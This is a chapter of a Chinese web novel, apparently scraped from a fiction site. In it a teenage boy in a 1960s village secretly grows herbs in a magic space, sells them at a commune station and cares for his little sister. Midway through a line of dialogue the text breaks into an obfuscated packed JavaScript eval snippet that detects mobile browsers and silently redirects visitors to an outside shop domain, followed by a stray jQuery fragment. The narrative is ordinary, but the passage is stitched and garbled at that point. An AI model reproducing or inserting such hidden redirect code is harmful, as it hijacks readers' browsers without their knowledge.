文趣网 > 都市小说 > 六零锅锅养家日常 > 9. 第九章:第一笔山货
    念念那朵蔫花在兜里揣了两天,揣得花瓣全掉了,只剩下光秃秃的花梗。林晨说要给她摘新的,念念摇头,说不要了,但每天早上她都会蹲到水缸边,看水面上有没有漂着花。

    林晨看在眼里,没说什么。

    今天他打算上山。

    不是真的上山——是借口上山,去空间里取药材,然后拿到公社收购站去卖。

    空间里的玉米已经长到齐腰高了,叶子宽大肥厚,茎秆粗得像拇指。但玉米还没熟,不能动。药材倒是可以先拿一批——柴胡,是第一次进空间时随手撒的种子,没怎么管,自己长得郁郁葱葱。

    林晨跟母亲说:“妈,今天我上山挖点野菜。”

    母亲正在缝纫机上踩着一件褂子,头都没抬:“别走远了,中午回来吃饭。”

    “我带个饼子。”

    母亲顿了顿,从篮子里拿出一个杂粮饼子,用干净的布包好,递给他。

    林晨接过饼子,装进口袋。饼子还是温热的,贴着大腿,暖烘烘的。

    念念追出来:“锅锅,你上山?”

    “嗯。”

    “我也去。”

    “山上有刺,扎脚。”林晨蹲下来,把她的小手从自己衣角上掰开,“你在家等哥,哥回来给你带东西。”

    “带什么?”

    林晨想了想:“带好东西。”

    念念歪着头,想了半天,说:“不带化了,化会谢。”

    林晨笑了,摸摸她的头,站起来走了。

    他出了村,没有直接上山,先往南坡方向走了一段,确定身后没人跟着,才拐进一条岔路,钻进林子。

    林子里很静。春天的树叶还没长全,枝条光秃秃的,地上铺着去岁的落叶,踩上去沙沙响。

    林晨找了块僻静的地方,四下了无人,掏出玉佩,闭上眼。

    心念一动。

    他站在了黑土地上。

    玉米地里,叶子在白色的光里泛着油亮。他绕过玉米地,走到墙角那片药材地——柴胡长疯了,半人高,密密匝匝的,开着小黄花。

    林晨蹲下来,采了半捆,大约两三斤。根茎粗壮,叶片肥厚,比外面野生的好太多了。

    他用草绳捆好,出了空间。

    回到林子里,他把柴胡夹在腋下,装成刚从山上挖回来的样子,拍了拍裤腿上的土,往下山的方向走。

    收购站在公社大街上,离青山大队十里路。

    林晨走了将近一个小时。路不好走,土路,坑坑洼洼的,前几天下过雨,有些地方还积着水。

    他到了收购站的时候,已经快中午了。

    收购站是一间土坯房,门口挂着一块木牌,写着“红旗公社农副产品收购站”,字迹斑驳。门开着,里面光线暗,一股混杂着药材、皮毛、干菜的陈年气味。

    柜台后面坐着一个中年人,戴眼镜,穿着蓝布褂子,面前摆着一杆秤、一本账本、一沓票据。

    “同志,收药材吗?”林晨把柴胡放在柜台上。

    中年人抬起头,看了他一眼,又看了看那捆柴胡。

    “哪儿挖的?”

    “山上。”

    “什么山?”

    “青山。”

    中年人拿起一株柴胡,凑近看了看,又闻了闻,眉头微微动了一下。

    “品相不错。”他说,把柴胡放到秤上,“三斤二两。”

    他翻账本,手指在纸上划拉:“柴胡,一等品,每斤一毛五。三斤二两,四毛八分钱。”

    林晨心里算了一下。一斤一毛五,三斤二两就是四毛八。

    他点了点头。

    中年人从抽屉里数出几张毛票,连同钢镚,推过来。又撕了一张收购凭证,写上日期、品名、数量、金额,盖上红章。

    “凭证收好。”

    林晨把钱和凭证装进口袋,出了收购站。

    他在供销社门口站了一会儿,没进去。手里有四毛八分钱,想买点东西,但忍住了。

    念念要的糖,几分钱就能买。但拿了糖回去,母亲会问钱哪来的。说卖药材?母亲会信,但以后每次上山都要交账。药材不是天天有的,空间里的不能总拿,多了会惹人怀疑。

    林晨把钱攥紧,转身往回走。

    到家的时候,念念正蹲在院子里拿树枝画圈圈。

    “锅锅!”她看见林晨,扔了树枝跑过来,“你回来了。”

    林晨蹲下来,从口袋里掏出一把东西。

    是几颗野酸枣。他在下山路上摘的,树就在路边,没人管,酸得要命,但念念爱吃。

    念念接过去,咬了一口,酸得眯起眼,五官皱成一团,然后又咬了一口。

    “酸不酸?”林晨问。

    “酸。”念念含含糊糊地说,“好次。”

    林晨笑了。

    他把剩下的酸枣放进灶房的碗里,母亲看见了,没问。

    吃饭的时候,熙熙说:“哥,周老师前天问我,想不想去公社上学。”

    林晨筷子顿了一下。

    “你怎么说的?”母亲开口了。

    “我说我问问家里。”熙熙低头喝糊糊,没看母亲。

    母亲沉默了一会儿:“公社远,十来里路,你每天走?”

    “有住校的。”

    “住校要钱。”

    熙熙不说话了。

    林晨放下筷子:“妈,让熙熙去考。考上了再说。”

    母亲看了他一眼:“考上容易,供得起吗?”

    “二叔寄钱了。”

    “那是给你爷买药的。”母亲声音不高,但很硬,“你爷腿疼,你奶眼睛不好,哪个不要钱?”

    熙熙端着碗,喝糊糊的速度慢了,一口一口抿。

    林晨没再说什么。

    吃完饭,熙熙去洗碗。念念在灶房门口剥酸枣核,剥出来一颗,放在窗台上排成一排。

    林晨走到东屋门口。

    爷爷躺在炕上,腿上盖着棉被。奶奶坐在炕沿上,给他揉腿。

    “爷,今天腿好点没?”

    “老样子。”爷爷没睁眼,“你上山了?”

    “嗯,挖了点药材。”

    “卖了?”

    “卖了。”

    爷爷睁开眼,看了他一眼:“卖了多少钱?”

    “四毛八。”

    “攒着。”爷爷说完又闭上眼睛,“别乱花。”

    林晨站在门口,应了一声。

    晚上,全家都睡了之后,林晨又进了空间。

    玉米又高了一截,叶子已经耷拉下来了,开始抽穗。他蹲下来摸了摸玉米秆,硬邦邦的,再有一阵子就能收了。

    他走到药材地边,看了看。柴胡割了半捆,剩下的还很多,长得更密了。

    林晨没再割。

    他走到井边,打了水,喝了三捧。然后灌了竹筒,出来,兑进水壶。

    躺在炕上,他摸了摸口袋里的钱。

    四毛八分,加上上次卖山货剩下的,一共六毛一分。

    不多。

    但这是他自己挣的。

    林晨把钱裹在手帕里,塞进炕席底下,翻了个身。

    念念的手不知道什么时候又搭上了他的胳膊,小手指勾着他的袖子,像是在梦里也要拽住了才安心。

    第二天早上,林晨还没起来,就听见院里有人说话。

    “秀兰,你家林晨昨儿上山了?”是张桂英的声音。

    “嗯,挖了点酸枣。”母亲的声音。

    “我听收购站的老王说,有个小子去卖了柴胡,品相好,他说从来没见那么好的柴胡。是不是你家林晨?”

    母亲沉默了一下:“是。”

    “他还会挖药材?”张桂英嗓门大,隔着墙都能听见,“这孩子行啊,能帮你挣钱了。”

    林晨躺在炕上,心里咯噔一下。

    收购站的人记住了他。

    不是好事。

    他坐起来,穿衣服。

    院里,张桂英还在说:“老王说了,以后有药材还往他那儿送,他给高价。”

    “行。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17508785|202911||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”母亲应了一声。

    张桂英走了。

    林晨走出灶房,母亲正蹲在灶台前烧火。她没看他,往灶膛里添了根柴。

    “妈,收购站的人认识我了。”

    “认识就认识。”母亲的声音平静,“你挖的药材好,人家才记住你。”

    林晨蹲下来,帮她递柴。

    “妈,以后我再上山,你帮我打个圆场,就说我上山挖野菜了。”

    母亲这才看了他一眼:“你怕人知道?”

    林晨没正面回答:“药材好,问起来不好说。”

    母亲沉默了一会儿,点了点头。

    早上吃完饭,林晨扛着锄头出门。

    李叔已经在老榆树下等着了。

    “晨儿,听说你昨儿上山挖药材了?”李叔问。

    “嗯。”

    “挖着了?”

    “挖着了,卖了四毛八。”

    李叔点了点头,没再问。

    两人扛着锄头往南坡走。

    太阳升起来了,照在黄土地上,影子拉得长长的。

    林晨走在李叔后面,心里盘算着。

    药材的事不能再去了。起码最近不能去。收购站的人记住了他,下次去,人家会问“还有没有”,有了再拿去,会引人注意。

    空间里的东西,不能太显眼。

    他要把玉米和土豆先种好,粮食才是根本。药材是额外收入,不着急。

    到了地里,林晨抡起锄头,开始翻第二遍。

    地已经翻过一遍了,土松了,再翻一遍,把杂草根捡出来,晒一晒,就能下种了。

    “晨儿。”李叔在隔壁垄上喊他,“你今年多大?”

    “十五。”

    “十五,不小了。”李叔锄着地,头也不抬,“你爸十五的时候,已经跟着你爷下地了。”

    林晨没接话。

    “你爸能干。”李叔继续说,“他当年在南坡锄地,一天能翻一亩。全队最快的。”

    林晨听着,手里的锄头没停。

    “你像他。”李叔说完,就不再说了。

    太阳越升越高。

    林晨直起腰,擦了把汗。

    南坡的风从山那边吹过来,带着青草和泥土的味道,潮润润的。

    他低头,继续锄地。

    口袋里的玉佩沉甸甸的,贴着大腿,温热的。

    晚上收工的时候,老队长在村口站着,手里拿着一张纸。

    “明天开始,南坡第三块地翻完了就下种。各组组长领种子,按人头分。”

    林晨走过去,领了自己那份玉米种子。不多,五斤,但掺了队里自留的优质种,颗粒饱满。

    他把种子装进口袋,扛着锄头回家。

    念念又坐在门槛上等他。

    “锅锅。”她喊了一声,没跑过来,蹲在原地,小手在地上画着什么。

    林晨走过去一看,她在地上画了一朵花。

    歪歪扭扭的,五个瓣,中间一个圈。

    “锅锅,看,化。”

    林晨蹲下来,看了那朵花,笑了。

    “好看。”

    念念得意地咧嘴笑了,露出缺了门牙的牙床。

    “我画的。姐教我的。”

    林晨伸手摸了摸她的头,站起来进院。

    灶房里,母亲已经摆好了碗筷。

    熙熙在油灯下写字,念念趴在桌上,拿小棍子在桌上画。

    东屋里,爷爷咳嗽了两声。

    窗外的老榆树被风吹得沙沙响。

    林晨坐在门槛上,脱了鞋,倒土。

    灶房里,缝纫机响了。

    咔嚓咔嚓,一下一下。

    念念趴在桌上,画完一朵花,抬头看了林晨一眼,喊了一声“锅锅”,又低下头继续画。

    林晨靠着门框,把这些声音收进耳朵里。

    口袋里,四毛八分钱,裹在手帕里,压在炕席底下。不多,但够买一斤盐,够买一盒火柴,够给念念买两颗糖。

    不急。